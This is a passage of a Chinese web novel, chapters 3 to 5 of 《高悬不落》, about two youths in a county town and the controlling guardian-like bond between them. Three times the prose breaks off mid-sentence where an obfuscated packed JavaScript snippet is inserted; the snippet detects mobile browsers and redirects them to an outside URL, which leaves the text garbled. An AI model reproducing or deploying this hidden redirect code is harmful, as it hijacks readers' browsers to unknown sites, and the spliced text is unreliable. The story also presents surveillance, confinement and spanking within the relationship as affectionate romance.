《高悬不落》 3. 第三章:轻重 昨天晚上折腾到半夜,早上外头天还黑着,身边的乔苏就开始忙活了。 他套上衣服,趴在靳越群耳朵根儿:“靳越群、靳越群,我和靳晓北还有彭文他们去后山那头抓鱼啊…” 靳越群那几天是和他爸出去的,他爸的司机半中途老娘住院,只得他来开车,晋省那边好多矿厂办公室门前要买煤的老板都拉着成箱的现金排队,没办法,现如今什么厂子离了煤都转不了,为了赶时间,他好几天开的都是夜车,都没睡过一个囫囵觉。 好不容易回家来,他正困得睁不开眼,捞着乔苏的脖子按在怀里,另一只手摸着看了下表。 才五点半,鸡都没叫。 “你们去这么早干什么?” “哎呀你别压着我,去的晚就没鱼了,说不定还有小螃蟹呢,我抓几只回来养,我跟你说了啊,你别说我没告诉你啊…” 乔苏下床蹬上鞋。 靳越群真服了他了,让他好好念书他不是磨磨蹭蹭就是屁股像有钉子,一说干闲篇儿,跑的比兔子还快。 “等会儿,饿着能进山吹风?我下去给你炒个菜,把馒头热热,你吃了再去,很快…” 靳越群顶着困意坐起来,随手往身上套了个背心。 “不用啦,我们去靳晓北家吃,他妈蒸了鸡蛋和山芋,我们带着路上吃,昨天说好了的,我走了啊,亲一下你,拜拜…” 乔苏怕靳越群不同意,学着昨晚那样,飞快地在他唇上亲了一口,说拜拜俩字的时候人就已经没影了。 他可不要亲那么深,昨晚亲那么深,晚上睡觉的时候他都感觉靳越群真的像要吃了他。 乔苏说的后山严格来说也不算山,他们这儿是平原地带,翻过一个小土坡就是镇子里承包的鱼塘,他们不在鱼塘里抓,就撸着裤腿在溪水里,春夏交际的溪水像冰镇的,泡进去凉快的很。 乔苏一上午运气还不错,抓了几条黄瓜鱼,还有一窝小螃蟹,螃蟹有指尖那么大,壳都是透明的。 回到家,靳越群已经没在了,他一放假比上学还忙,乔苏把抓来的鱼和螃蟹倒进塑料桶。 屋里电话响了。 “到家了?” “当然啦,不然是谁在接电话…!” 靳越群就是问他到家没有,乔苏看了一圈:“李姨呢?她怎么没在家?” “让她回家了。” “那这些天我们怎么吃饭呀?” 靳越群又不是有空天天回来给他做。 “一会儿有人给你送,你在家等着。”靳越群似乎那边有事,有人在喊他了:“你听到是谁再开门,别给我瞎开,听到没…” 挂断电话,乔苏握着听筒无语,他是三岁小孩么?随便给人乱开门? 不过李姨被辞了他还是有点伤心的,毕竟她炒的小炒鸡真的很好吃。 也就这一两年吧,靳越群换给他们煮饭打扫的阿姨总是换的很勤,一个阿姨待不到半年,就被辞了,好像靳越群就不想谁在这里久做,不过乔苏也不管这些,这些生活上的事都是靳越群在操心的。 等他把抓来的小螃蟹和鱼分成两个桶,门口有人喊。 “乔苏,我…!潘黑子,靳哥让我给你送饭来了!” 潘黑子肩膀上架了个托盘,全是从饭店刚拿过来,还烫着。 “我给你放桌上了啊,这羊肚汤烫的很,你慢点喝…” “知道,谢了啊。” 乔苏看他站着没走:“咋啦,还有事?” 潘黑子挺不好意思的:“乔苏,小时候咱们也一块玩过的,其实我想跟你商量个事…” 潘黑子和乔苏老家都是平曲县的,当时潘家的嫂子是乔苏的一个什么远房婶子。 “啥事?你别扭扭捏捏的行不行。” “…就是你知道我们家,我跟我弟脸上打娘胎里就有带下来的这块遗传,好多厂子一见根本就不要。” 潘黑子说的是他左边半边脸,有一块黑乌青,他原来也不叫黑子,但大家都这么叫。 “我听说靳家的厂子现在正要招人,大家都抢着去呢,乔苏,你能不能帮我跟靳哥说说,把我弟也招进去?他今年也不小了。” “那你直接跟靳越群说啊,我又不在他厂里。” “我这不是、”潘黑子挠了挠脖子,看桌上的四菜一汤,两个都是荤的,就乔苏一个人吃:“我这不是不敢给靳哥说么,上次我爸已经跟他说了招我进厂的事,我再说我弟,不知道靳哥会不会答应…而且靳哥…,我,我光看着他,没张嘴,心里就先发怵好几场了…” “哈哈,没事,他从小就爱冷着一张脸…!他就长那样,那回头我跟他说。” 潘黑子见他答应,高兴地谢过乔苏,才走了。 出门前,他看着乔苏慢悠悠地挑着菜里的牛展肉吃,屋子里凉气也舒服的很,他刚才只是站了一会儿身上的汗就落了,可看了半天,他压根都不知道这凉风是打哪儿吹出来的。 唉,小时候不懂,他现在越大越能理解他爸说的那句话了,有时候这人的命吧,还真是打从娘胎里就注定了的。 你看乔苏,就凭一个算命瞎子说的什么“命数”,就能让靳家这样的人家接到了家里像个小少爷似的养了这么多年,真让人没处羡慕去。 - 乔苏的快乐日子没持续几天,由于他每天乐此不疲的“早出晚归”,不是上树掏鸟就是下河抓鱼,整天在外面野的没边,一块儿玩的都是十七八岁不知天高地厚的年纪,乔苏很快就把自己弄得光荣负伤了。 靳越群赶到县医院的时候,乔苏已经拍完片子了,崴着的右脚架在凳子上,老大夫正对着片子看。 “怎么搞得?” 靳晓北他们当时听见乔苏喊脚疼的时候吓的魂都飞了,靳晓北磕磕巴巴地:“踩着个石头缝,我当时撒尿去了没扶住他…” 靳越群往下扫了一眼,不知道是在看乔苏的脚,还是在看乔苏因为疼抓住的靳晓北的手臂。 靳晓北蹭一下就给乔苏的手赶紧扒拉下去了。 “靳越群…!我的脚好疼!” 乔苏本来就抹在眼泪,一看见他来,泪掉的更凶。 剩下的几个一个个被靳越群的脸色吓得话都说不利索,跟小鹌鹑似的挨个喊了靳哥就逃了。 “舒服了?一天到晚出去瞎跑…!” “你还骂我,你知不知道我多疼啊,我的脚是不是要残废了?我刚才都差点疼晕了…!” 老大夫砸着嘴:“小伙子,你的脚离残废还远的很,就是崴着了,看片子骨头也没事,下午回去歇歇就行了,给你开瓶红花油,让你哥回去给你揉揉,活活血,明后天就不疼了…” 乔苏撇嘴:“他是我弟…” 老大夫推了一下老花镜,也没听清,靳越群担心地问:“大夫,那用打石膏吗?他这儿还划伤了,会不会发炎?” “石膏?不用,你弟这也不伤筋动骨的打什么,哪儿划伤了?就这儿啊…?不流血不破皮的,柜子里有碘伏,你实在不放心给他脚背上沾沾就行了…” 后头是个抱小孩看病的妇女,急得很,靳越群手里拿着一瓶红花油和两个沾了碘伏的棉签,背着乔苏在医院走廊的长凳上坐下。 “真的没事啊?哎你要干嘛啊…!” “动什么…!没听大夫说要给你揉揉?先消毒,揉开了晚上就好了…” “那我不要你揉,有没有大夫能揉啊?我脚腕那么细,你手劲儿那么大,你再给我揉断了怎么办啊…” “我能给你揉断?” 靳越群抬手,没落:“断吧,断了正好,我在家里养着你,省的你成天出去瞎野。” 搓热了红花油的手掌贴上乔苏的脚腕,靳越群的掌心有薄茧,微微粗粝的、热热的,麻麻的,那股热乎劲儿慢慢渗进皮肤。 “你怎么这么狠心啊,亏我刚才一摔就好想你了…” 靳越群最看不得他哭,靳父从小就把他扔进了厂里,他初中没毕业就干遍了厂子里最脏最累的活,渣罐、冲床,做冲孔时虎口险些被钉穿,到现在都还留有个疤,但这会儿他握着乔苏的脚腕,一时该轻了重了都有点分不清。 “怎么了这是,真疼了?” 他赶紧从兜里掏出手帕给乔苏擦鼻涕。 “你擦的好重,我鼻子都要歪了…!哎哎,你揉的能不能也轻点呀!我脚要断了…!” “已经很轻了…” 没一会儿,一个端着托盘的护士疾步路过。 “哎,家属,你这么给他轻轻摸两下有什么用啊,一点活血散淤的作用都没有,白浪费东西,他回去也得疼,你得这样才行,看,这样…!” 护士把托盘往靳越群手里一杵,涂着红花油的手麻利地贴上乔苏崴伤的脚腕,靳越群还没出声,乔苏的惨叫就已经杀出来了! “啊——!护士姐姐!痛痛痛!!好痛好痛!” “大小伙子哪儿那么怕疼啊,忍忍啊,马上就好了…!” 护士给乔苏揉了两下,又给靳越群示范了一下手法和力道,她那边还要给病人扎针呢,就走了,靳越群看乔苏虽然疼的龇牙咧嘴的,但脚确实比刚才能活动多了。 “谢谢,麻烦您了。” 护士前脚刚走,乔苏一个拳头就捶在他身上了。 “靳越群!你哑巴了啊!我刚才叫那么惨你没听到?她的手劲比你大多了!疼死我了…!” 靳越群坐下来,握着乔苏的手,把他的腿重新搁在自己的大腿上,手学着护士那样,刚贴上脚腕,乔苏就又捶了他一下:“你敢那样给我揉试试看…!” “别给我闹啊,这在医院里,” “我管在哪儿!我疼啊…!” 乔苏又要哭,靳越群没法子,只好放低了嗓音哄他:“乖,忍忍,就忍一下,几分钟的事,听话…你还想晚上疼?” 乔苏才不听他的呢,刚才护士给他揉,他没办法,换靳越群给他揉,乔苏就不怕了,稍微一疼他就叫,疼也不憋着,疼就打靳越群。 等靳越群给他揉完了,他那皮夹克让乔苏打的快不能看了,额头上冒的汗比乔苏还多。 对面还有陪怀孕的老婆来产检的丈夫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463579|169755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错了半个走廊,还以为靳越群那儿也是产科的,他只看见长凳上乔苏一个背影,再看靳越群那一脸的沉默地、打不还手骂不还口给人揉脚的样儿,觉得自己老婆那几个铁砂掌都是绕指柔了。 给刚才的护士送了一兜水果,从县医院出来,靳越群背着乔苏,手里拎着他都是泥的鞋。 “靳越群,刚才那个护士姐姐人真好,她那么忙,还来给我看脚…” 揉完确实松快多了,乔苏有点良心发现,摸摸靳越群的胸口:“我刚才打的你疼不疼呀…” “不疼,你有多大劲儿。” 乔苏笑,晃了一下他全是红花油味儿的右脚,被靳越群伸手握住,暖在掌心。 “我们回家吧,我都好饿了…” “不回,带你上饭店,补补。” 靳越群在路边打开车门,他现在开的是一辆靳父放这儿的桑塔纳,给乔苏小心地放在副驾,探身给他扯安全带。 “这个破带子是干什么用的呀,系上肩膀好勒的…” “手放好,系上。” 靳越群探身给他把卡扣卡上。 不怪乔苏嫌麻烦,现在路上根本没什么车,就说这辆桑塔纳吧,一辆就要二十多万,安县大部分普通职工一个月工资也才六十多块,别说二十万,有两万都得是人人羡慕的“万元户”了。 路上,乔苏眯着睡了一会儿,醒了发现还没到,路两侧的店面看着也不熟。 “我们这是去哪了?” “阳原。” 阳原是安县隔壁的县城,有八十公里左右。 “干嘛跑来阳原呀,这么远,咱家那儿不就有饭店吗?” 乔苏受伤了,靳越群心疼的厉害,连地都不想让他下,去安县的饭店许多都认识他爸,太扎眼了。 不过他没跟乔苏说。 “这儿鱼庄有特色,带你尝尝。” 车驶进鱼庄,靳越群停车,下来背着乔苏。 “哎哎哎,我的鞋还没拿…” “鞋不用拿。” 门口迎宾的女服务员穿着曼妙的旗袍,一看这两个男孩这么年轻,个子高那个五官高挺,透着一股子冷意,他背上的男孩倒生的红唇齿白的,漂亮的很,就是光着脚,裤子还破了。 “你们来找…” 后头的经理看见,就笑着迎上来了:“小靳!这儿,房间我都准备好了…” 靳越群背着乔苏就跟着他去了。 女服务员看着经理一脸谄媚,想,估计又是哪家的少爷吧,毕竟他们这儿可不是谁都能随随便便消费的起的。 经理把菜都安排好就出去了。 乔苏也没穿鞋,刚才有经理在不方便,现在人走了,不等他伸手,靳越群就掐着他两个胳膊下头给人圈在腿上坐了。 桌上摆的点心是蟹黄烧饼,靳越群掰开了,先喂了乔苏一小块儿,他才吃。 乔苏嚼着:“刚才的经理你认识呀?” “认识。” “感觉他口音不像我们汉北的…是南方人?” “浙东那边的,具体我也记不清了。” 服务员敲门上菜,乔苏要下去,靳越群锢着他,没让:“鞋又没穿,你乱动什么。” 服务员就跟没看见一样,微笑地把两盅汤先上了。 “对了,现在你们厂里是不是还在招人呀,潘黑子说他弟不想念书了,也想进,让我跟你说说,把他弟招进去。” “他什么时候跟你说的?” “就前两天吧,我都差点忘了。” 靳越群给他舀了一勺鱼汤,他不在意乔苏忘不忘记这个,他在意的是别的事。 “你什么时候见他的?怎么没跟我说?” “又不是专门见的,不是你让他给我送饭的吗。” 靳越群想了下,那天他让厂里的五子去,估计他又叫了潘黑子。 “你跟潘黑子很熟?” “没吧,就小时候一块儿玩过…哎呀,你到底答不答应啊,屁大的事…” 一会儿服务员又进来上鱼,鱼是用石锅上的,上面还盖着竹篓,乔苏挺新鲜的,靳越群见人走了,伸手掰过他的下巴。 “我跟你说过不止一次,你出门,跟谁相熟,讲了什么,都要告诉我,这两天除了靳晓北他们还有谁是你漏了的?” 靳越群的手掌很大,一只手几乎能盖住乔苏的小半张脸。 乔苏最受不了他这点,靳越群从小就是他去哪儿做什么讲什么都得跟他汇报,他有时候真觉得靳越群上辈子是不是管监狱的投胎的…! “行行行,我以后跟猪讲两句也跟你说,跟鸡讲两句也跟你说,行了吧,我今天上午还跟我那一窝小螃蟹说话呢,要不要也跟你说啊…!” 靳越群什么都能顺着乔苏,唯一不喜欢乔苏在这个问题上跟他顶着来。 乔苏扒开他的手,自己拿着勺子:“蟹语?听得懂不,哈哈,还有鱼语,你讨好下我,我勉强考虑考虑教你…” 看乔苏的样子也不像是撒谎,加上脚又伤了,靳越群就暂时压着,没跟他计较。 4.第四章:休养 乔苏这一崴脚,虽说没有多严重,也只得在家里养着,他翻出他珍藏的故事会,就是在镇子上的旧书摊买的,里头的故事不是多角恋的情杀就是仇杀,还有鬼啊怪的,几世轮回,乔苏把泼天的狗血翻来覆去的看完了,也才过了两天。 “靳越群…我今天能出门了吗?” “不能,伤筋动骨一百天,你好好在家再安生养两天。” 乔苏无聊地把闲书扔一边,在床上滚了半圈:“那我也没有伤筋也没有动骨啊,上午去医院,大夫都说我的脚没事了,你看,我现在踩在地上也没事了…” 他站起来要在床上踩,靳越群“啧”了一声,原本要出门,又赶紧揽着他的腰给他从床上抱下来,让他坐在床上,蹲下身,握着他的脚心去看。 外面看着是没事了,但昨晚给他揉,他还是有点疼。 “不行,再歇两天。” “我现在是做错事了在被罚吗…” 乔苏吸吸鼻子:“我不想在家待着,你又要关着我了吗?我最近又没做错事…” 靳越群抽了下嘴角:“哪里关着你了?脚是谁崴的?” 乔苏憋半天,有点尴尬,只好用那只没伤的脚蹬了靳越群一下,偏头倒在枕头上:“就是你…!你之前说只有我做错事你才会关我禁闭的,现在我就是在被关禁闭…!你不讲道理…!” 到底是谁不讲道理? 不过乔苏说的也不假,靳越群这个人,平常乔苏把他惹急了,他最多也就是揍两下屁股,不疼不痒的,但那都不是他真生气。 真把靳越群惹火了,他会关乔苏禁闭。 他说关就是关,任乔苏怎么哭怎么闹都别想从这栋小楼里迈出一步来,这对乔苏这种一天不出去跑就憋的浑身难受的性格来说,可比揍几下屁股要折磨一万倍。 乔苏十六那年惹火过靳越群一次,当时有人叫他去水库那边玩儿,他没提前跟靳越群说一声就去了,谁知道脚下一滑,掉下去差点淹死。 幸好被旁边勘测站的管理员看见给救了。 回去他让靳越群狠狠揍得屁股开花不说,整整一个星期他都被关在家里,学校也请假,乔苏简直要憋疯了,每天挂着两行眼泪,爪子挠着大门,写了好几封保证书,但靳越群硬是一天都没心软。 “你好烦,干嘛总翻旧账…!” 到底是谁在翻? 可乔苏这两年也确实是跟谁做什么说什么都有乖乖跟他讲。 “别乱蹬,再蹬着脚怎么办…?那你下午想去哪儿?我今天厂里有事,我叫人陪着你。” 乔苏一下子就有精神了。 “我想去摘榆钱叶…!” 这时节,嫩绿的榆钱叶正挂满枝头,好多人下班了就去摘,回去洗两遍,不管是蒸榆钱菜团还是炒鸡蛋,都特别鲜灵。 “现在哪里还有,都被别人摘完了。” “有,真的有!” 乔苏坐起来,搂着靳越群的脖子:“我知道一个别人不知道的地方,你记不记得王叔承包的那片果林后头?就在那个果林西边的一条小路,往里一直走,再拐弯,就有一片,那地方他们都不知道,就我知道!” 靳越群想了一会儿才想起来他嘴里的王叔是谁,那片果林在哪儿。 “那么犄角旮旯的地方你也找得到?” “我跑的多嘛。” 他还有点得意。 “那片都到徐水镇了,太远了…” “那你教我骑自行车?我自己骑车去…” “现在教怎么来得及,再说你的脚…” “我的脚已经没事了…!去嘛去嘛,再去晚了那边就真的没了,我还想吃你做的凉拌榆钱呢,一年只有一次的嘛…!” 那边,自从那天崴脚,靳晓北也不放心乔苏,前两天不敢来,怕撞他哥枪口上,下午想着他哥估计去了厂里,才提着一兜他妈刚蒸的包子过来看乔苏。 到门口喊了两声,没人应,难道出去了,崴脚还去哪儿? 等了一会儿,太阳都要落山了,他看见上坡的小路上,他哥背着乔苏上来了。 他哥托着乔苏的两条大腿,手里拎着两大袋满满的榆树枝,上头挂的都是鲜嫩绿油的榆钱叶,风一吹几朵露水一样的落,乔苏脸上的笑脸灿烂极了,手里也拎着一袋,只是比他哥手里的少的多。 “靳晓北!你来的正是时候,看我和你哥摘了多少,一会儿你拿走一袋给你妈啊…” 靳越群给乔苏放在院子里的板凳上。 “注意你的脚。” “知道啦知道啦。” 乔苏挑了一枝顶好看的,打算一会儿放进他的鱼桶里,靳晓北也坐下帮着摘,看着他哥洗手进了西边的厨房。 “我哥做饭啊?” 他没想过他哥居然会下厨,他们汉北这边好多男的都还信奉男人远庖厨那老一套,觉得锅台晦气,比如他爸。 “是啊,你哥做的红烧鱼可好吃了…!” 他哥还会做红烧鱼? “你们不是请了个做饭的阿姨吗,人呢?” “走了,还没找的新的呢,咋啦?” 靳晓北想问什么,又没问,其实他挺喜欢做饭的,但是他有时候偷着一进厨房,他爸就劈头盖脸地骂他,说他没出息。 晚上靳越群烧了鱼,煮了米粥,还把靳晓北带过来的包子搁锅上热了热,三个人够吃了,靳晓北意外地发现他哥的厨艺真挺不错的。 “我就说你哥做饭好吃吧,你哥做什么都做的好,就是刷碗都比阿姨刷的干净,还快…!” “我哥在家还刷碗啊?” “嗯啊。” 乔苏好吃的眼睛都眯起来,靳晓北看着他哥夹鱼给乔苏,夹的基本上都是鱼肚子上没刺的。 他妈蒸的包子皮薄馅多,乔苏吃了两个有点吃不下了,他哥顺手拿过就接着吃了。 “玩这么长时间也够了,过两天你就带着乔苏去张老师家补课去。” 饭桌上两双筷子一停,俩人异口同声:“啊?” “啊什么,快高考了,多练点题,摸清楚套路,总没坏处。” “哥,那我就不用去了吧,我才高二啊…” “高二怎么了,你那成绩能看吗,考不上大学,你打算一辈子在这儿窝着?” 靳晓北不说话了,但关键他爸不像靳伯父那样有本事啊,他爸就是个养鱼的,他以后不在这儿他去哪儿? “补什么课啊,谁放假没事去老师家里补课的,我俩才不去…!” 靳晓北在心里默默给乔苏比了个大拇指,虽然乔苏这个人不靠谱的时候多,但关键时刻还是得靠他。 “补,张老师那儿我说好了,钱都交了,你在家再休息两天,让靳晓北骑车带着你,你俩三餐也在那儿吃。” “靳越群!我都已经考了一年了,我真不是学习的料子,我往哪儿一坐看见那些字排成一团我就头疼,还有那个作文,我真一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467462|169755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个字也憋不出来…” “作文写不出来那么厚的小说就看的进去了?” 乔苏嚼着鱼肉:“那又不一样…!” 靳越群不理他这些歪理:“语文我不说你了,也不是突击的事,你就主要复习数学,把理科那几门的分拉上去,数学对你也不难,去张老师那儿多练练,把那几个出题的套路搞懂了,看题再细心点,也差不多够线了,到时候报哪儿我再给你估。” 乔苏眼前都要发黑。 现在是考虑报哪儿的问题吗?他们县高一年才有几个人能考上学啊,别说大学,就是能考上个大专的都是人中龙凤了,这不是强人所难么! “我不要考学!” “考,考不上明年你就接着复读。” 乔苏傻眼了。 “我不!管它文科理科,今年我一个也不想学!” “那你想干什么?” 乔苏被问的一时语塞,说实话,他好像从没想过他想干什么。 不过他们不才十八九岁吗? 就这样一直下去不行吗,想那么久远的事情干什么呀…! “我不能和你一样?你早早就在帮你爸做事了,那我以后也要进厂打工。” 乔苏随口胡诌,虽然他没想过,但他知道进厂打工就代表能赚钱,他们班好多同学都在接爸妈的班进厂了,许多进的就是靳家的厂。 “你歇吧,除了念书没得选。” “为什么!” “因为这条路最轻松、最简单,适合你。” 轻松?念书哪里轻松了? 尤其是对乔苏,他是漫山遍野跑一天不觉得累,但你要让他坐那儿背什么劳什子古诗词,他不出三分钟就“难”的直想哭。 乔苏这会儿真的想哭了。 “靳越群,你确定你真的是十八岁?不是八十八岁?” 一旁的靳晓北差点憋不住笑出声,赶紧忍着,拼命往嘴里拨饭。 靳越群挑眉,乔苏撇着嘴:“不然怎么你每次一开口都像我的爹…!” 不,乔爹还真没这么管过他的事,当年乔爹把刚六岁的乔苏放在靳家就走了,这些年乔苏一回去,他们就让乔苏赶紧回靳家。 “你想叫我也不反对。” 靳越群又给他加了些菜:“别光吃肉,得吃菜。” 乔苏想了想,吸吸鼻子,似乎做了一个重大决定。 “那我要真叫你爹,就能不读书,不考学吗?” “噗!”的一声,靳晓北嘴里的稀饭全喷出来了。 “对不起对不起,我呛着了…!” 靳越群眉心一跳,筷子停住。 “乔苏你…” 乔苏刚要张嘴,就被靳越群眼疾手快地给伸手捂住了。 “唔、唔唔唔!!” 乔苏在夹缝里喊:“你干嘛…!我就要叫你爹!你别拦着我…!” 靳晓北憋笑憋的碗都快捧不住,米粒从鼻孔里喷出来…再看他哥,黑着一张脸,乔苏在那儿闹腾,八成是咬着他哥的手了,靳越群干脆起身,踢开板凳,一只手抱着乱扑腾的乔苏,一只手端着他没吃完的饭碗,估计回屋里收拾他了。 他哥打小就性子冷,跟他们这些同姓的小辈谁也不怎么亲近,唯有一个乔苏,敢跟他哥这样闹。 想到他哥这样冷情冷心的人居然这么多年都能忍得了跟乔苏这么个大活宝生活在一个屋檐下,也真是、真是“忍功了得”啊…! 5.第五章:命格 补课是要补的,考学也是要考的,反正他们两个只要是靳越群决定的事,哪一个都是必须要做的。 到底为什么他要这么听他的话…! 他是皇帝吗?! 乔苏一天在心里捏出八百个小人狂揍靳越群,等脚好了,靳越群不知道是被“揍的”,还是看乔苏在家待久了不大高兴,反正他又带着乔苏去国营的八一商场买点心去了。 乔苏买了两大包桃酥加上各式干果点心,还有一罐申州牌的麦乳精。 这东西宣传有营养,冲着喝又香又浓,甜丝丝的,逢年过节汉北好多人都流行送这个,小孩子串门要看见谁家桌上摆着麦乳精,眼睛都放光。 抱着点心上车,靳越群在后面说:“这些都要好好考学才有的,听见没?” “哼!” 靳越群叹气:“你听话,好好考,只要你能有个书念,我也不要求你念的怎么样,你就在学校里待着,到时候你想做什么我都依你。” “那你想让我考汉城的哪个学校?” 乔苏以为靳越群会说那几个电子职校之类的,没办法,他偏科太严重了,尤其是语文最差,这几个还能靠点边。 “考完再说,我在哪儿你在哪儿。” 乔苏觉得这有点不像靳越群的性格,难不成…他是想让自己考汉城最有名的,汉京大学?! 那可是排在全国前三的的重点大学,不是他们县里随便进的广场好吧…! “靳越群,你就是把我逼的去上吊我也考不上汉京大学…” 靳越群笑,捏他的脸颊,揪着不放:“知道,我也不那样逼你,你只要做题细心点就行了,看你辛苦我心里也不好受。” 乔苏松了一口气,又趁势问:“那我能不去补课吗?补课也好辛苦的。” “不能。” “……” 果然这厮的温柔都是假象…! 假期泡汤,乔苏只能“化悲愤为食欲”,这两天饭都比平时多吃了两碗,他已经想好了,他要多吃!不然他以后在靳越群那儿就更不要提反抗了,他要走农村包围城市路线,争取以后就算“吵”不过靳越群,也要“打”的过靳越群,历史伟人毛主席说过,枪杆子里才能出政权,一切反动派,都是纸老虎! 靳越群还不知道他已经给乔苏大字一张,贴上了“反动派”和“纸老虎”的标签,他要是知道,估计得先问问他,怎么骂他的时候一套接着一套,一到考试就掉链子? 中午的时候靳晓北就来了。 “乔苏,走了,我哥让咱俩从今天开始去张老师家补课,吃饭…” “我不去…” 乔苏翻着故事会,拿了一块桃酥饼干放嘴里。 “这个咋这么香,给我尝一块…比咱那儿干货铺卖的桃酥好吃多了!乔苏,你在哪儿买的?回头我让我妈也去买点。” “八一商场,狗买的。” 得,他都白问。 “走走走,你赶紧穿鞋,一会儿迟到了。” “哎呀你别拉我,你先去吧,我正看到精彩章节呢,你就跟张老师说我肚子疼,下次再去不得了。” 靳晓北看架不动他,从书包里掏出一个小本:“我也治不了你,你不去我跟我哥说了啊,五月十五号上午八点半,我叫乔苏去张老师家吃饭,乔苏死活不肯去…” “靳晓北,你要当史官啊!” “我哪儿算的上官啊,我顶多就算一陪读,还是你这个大少爷的陪读…真不去?” “不去…!” 靳晓北继续写:“八点三十三,我对乔苏苦言相劝,乔苏无动于衷…” 乔苏真服了,拿着手边的闲书去扔他,靳晓北躲过,写:“还对我拳脚相加,破口大骂…” 没一会儿,乔苏骂骂咧咧的背上书包,坐上了靳晓北破自行车的后座。 “你就是你哥的走狗…!” “走狗好啊,走狗放假还不用去老师家补课呢,你就好好学吧乔苏,算我求你了,你再复读,明年放假我估计还是咱俩…!” 算了…他和靳晓北也属于“同病相怜”。 “靳晓北,你说你哥为啥非要让我考学?” “那还不简单,我哥今年就高考了,以他的成绩估计就是汉京大学了,大伯也在汉城,我爸说现在靳伯的生意做的可大了,靳哥一定要去了,不然靳家的家业以后都得让那个女人和她的儿子占走了…” “你说靳越贤?可他也不是靳伯的亲生儿子啊…” 他们说的靳越贤是靳越群的继母嫁给靳父之前,和头一个前夫生的儿子,嫁给靳父之后就给儿子改了姓,还按靳家的祖谱排了个“越”字,比靳越群大四岁。 乔苏不懂这个,但靳晓北懂啊。 “你咋这么笨,你没听那句老话啊,有了后妈就等于有了后爹!虽然他是那个女人带过来的儿子,但是他比靳哥大,这就抢了个先啊,而且他现在可是天天在大伯眼前,我听说大伯好像都把徐水一个厂子给他管着了…” 乔苏想了想,炎热的风吹着发梢,莫名的心头有点闷。 “那我不上学,就不能跟着他去汉城了?” 靳晓北蹬着自行车,他虽然没谈过恋爱,但也见过猪跑,其实他有点觉察他哥和乔苏之间像是有些不一般,那种他根本…根本没法形容的亲密,总觉得,好像远远超出了寻常的兄弟之间…? 但他心里也不敢确定,又或许是这种事在小县城里实在太过惊世骇俗,他连想都不敢想,也不知道该怎么说。 “乔苏,你是男孩,我哥也是男孩,你也不能一辈子就这么跟着我哥吧…,就算跟,也总要有个由头,是不是…?” 张老师住的是老丈人的房子,临近塑磨厂,灰烟常被风带着落在这片,不过整个安县就这样。 一下雨一城的泥。 张老师是个很清瘦的男人,戴着厚厚的镜片,在学校教数学和物理,讲起课来像唐僧念经。 乔苏听着听着,思绪就又飘远了。 由头,什么由头? 当年靳妈妈把他接过来的时候,不是就已经有了一个“由头”了吗。 乔苏是六岁那年来到靳家的。 这事在当时还有点玄乎,靳父当年在部队,年轻有为,一次受邀去汉城参加市里的文艺晚会,一下子就看上了台上宛如天仙下凡的靳母。 靳母当时才二十出头,是市歌舞团的台柱子,比靳父小五岁,经过靳父的一番苦苦追求,终于抱得美人归,婚后靳父退伍从商,不久,靳母就怀孕了。 小心翼翼地养了好几个月,谁知到生产那天,难产了。 靳父在外头急得拳头都打出了血,抓着出来的医生吼保大人,他要大人! 好在当夜母子平安,出院那天,靳母抱着刚出生的儿子,小轿车的司机不知怎么晃了眼,没注意,撞上一个瞎子。 靳母刚得了孩子,就让司机下车给他点钱。 谁知道那个瞎子隔着车窗,就好像能看见里头的孩子。 他张口就报出了靳越群的生辰八字。 几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473683|169755||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日几时,一分不差。 靳母觉得有缘,拿了个红包让他给算算,那一封红包里包的厚厚的,就是想让他说点吉利话。 没想到瞎子没收,他“看着”靳母怀里的靳越群,嘴里念念有词:“二十七、逢九年、通关道通奈何桥…阴邪作祟,阳极阴生,他活不过二十七…” 靳父当即就怒了,他老婆好不容易生了孩子,这不是咒他儿子短命?他下车狠狠给了那个流浪汉一拳,流浪汉被揍得鼻青脸肿,靳母拦着丈夫,想起自己在产房九死一生… 她把瞎子扶起来,将红包塞进他手里,问他这命数该怎么解? 瞎子收了钱,哆嗦着在她掌心写了个八字,写完了,他睁大那双青白眼:“…凤凰命格,涅槃不死,命宫火阳,只有他,只有他能有一次机会瞒过六道轮回…” 他念个没完,忽地抓着靳母的手:“天机不可泄露,我只看到半副天机啊…!” 靳父护着妻子,他是军人出身,就是从商也信人定胜天,最厌恶这些装神弄鬼,他让司机赶走了那个瞎子。 后来这件事夫妻俩也没有放在心上。 意外出现在靳越群五岁那年。 那年冬天不知道怎么回事,靳越群在夜里突然发起高烧,烧的浑身比火还烫,在医院里头上脚上叫针都扎的没了地方,但烧怎么都退不下去,连大夫都说孩子要再这么烧下去,恐怕是要没命了。 